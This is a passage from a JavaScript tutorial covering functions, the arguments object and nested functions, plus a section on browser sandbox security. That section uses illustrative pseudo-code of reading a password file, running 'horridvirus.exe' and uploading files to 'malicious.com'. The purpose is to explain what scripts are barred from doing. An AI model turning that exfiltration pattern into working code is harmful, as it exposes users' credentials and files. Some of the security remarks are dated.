Functions

Along with objects, functions are the core component in understanding JavaScript. The most basic function couldn't be much simpler:

**function add(x, y) {**

 **var total = x + y;**

 **return total;**

**}**

This demonstrates everything there is to know about basic functions. A JavaScript function can take 0 or more named parameters. The function body can contain as many statements as you like, and can declare its own variables which are local to that function. The return statement can be used to return a value at any time, terminating the function. If no return statement is used (or an empty return with no value), JavaScript returns undefined.

The named parameters turn out to be more like guidelines than anything else. You can call a function without passing the parameters it expects, in which case they will be set to undefined.

**add()**

**> NaN**

You can also pass in more arguments than the function is expecting:

**add(2, 3, 4)**

**> 5**

Functions in Depth

functions have access to an additional variable inside their body called arguments, which is an array-like object holding all of the values passed to the function. Let's re-write the add function to take as many values as we want:

**function add() {**

 **var sum = 0;**

 **for (var i = 0, j = arguments.length; i < j; i++) {**

 **sum += arguments[i];**

 **}**

 **return sum;**

**}**

**add(2, 3, 4, 5)**

**> 14**

Let's create an averaging function:

**function avg() {**

 **var sum = 0;**

 **for (var i = 0, j = arguments.length; i < j; i++) {**

 **sum += arguments[i];**

 **}**

 **return sum / arguments.length;**

**}**

 **avg(2, 3, 4, 5)**

**>3.5**

Inner functions

JavaScript function declarations are allowed inside other functions. We've seen this once before, with an earlier makePerson() function. An important detail of nested functions in JavaScript is that they can access variables in their parent function's scope:

**function betterExampleNeeded() {**

 **var a = 1;**

 **function oneMoreThanA() {**

 **return a + 1;**

 **}**

 **return oneMoreThanA();**

**}**

This provides a great deal of utility in writing more maintainable code. If a function relies on one or two other functions that are not useful to any other part of your code, you can nest those utility functions inside the function that will be called from elsewhere. This keeps the number of functions that are in the global scope down, which is always a good thing.

This is also a great counter to the lure of global variables. When writing complex code it is often tempting to use global variables to share values between multiple functions — which leads to code that is hard to maintain. Nested functions can share variables in their parent, so you can use that mechanism to couple functions together when it makes sense without polluting your global namespace — 'local globals' if you like. This technique should be used with caution, but it's a useful ability to have.

Security

Client–side JavaScript has expressly been developed for use in a web browser in conjunction with HTML pages. This has certain consequences for security. First of all, please note carefully what happens when a user visits a JavaScript–enhanced web site:

The user asks for a certain HTML page without knowing whether it contains JavaScript. The HTML page is delivered to the browser, including the scripts. The scripts usually run automatically when the page loads or when the user takes a certain action. In general the user can’t do anything to stop the scripts (well, he could turn off JavaScript, but few end users know how to do this, or that it can be done, or that JavaScript exists).

So basically an innocent end user downloads a random program and allows it to be executed on his machine. Therefore there should be strict rules as to what this program can and cannot do.

**JavaScript cannot read files from or write them to the file system on the computer. This would be a clear security hazard**

**filesystem.read ('/my/password/file');**

**filesystem.write ('horridvirus.exe');**

**JavaScript cannot execute any other programs. This would also be unacceptable**

**Execute ('horridvirus.exe')**

**JavaScript cannot establish any connection to whatever computer, except to download a new HTML page or to send mail. This, too, would create unacceptable hazards:**

**var security\_hazard = connection.open('malicious.com');**

**security\_hazard. Upload (filesystem.read('/my/password/file'));**

**security\_hazard.upload(filesystem.read('/ultra\_secret/loans.xls'));**

Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add some filesystem commands nonetheless, in combination with its ActiveX technology. This means that Explorer on Windows is structurally less safe than any other browser. It has some built–in protection, but hackers regularly find weaknesses. The first Javascript Virus I heard of works in such a way. So JavaScript only works on things that are in HTML pages or part of the browser. You cannot influence anything that's not contained by the browser. But even within the browser there are some no–go areas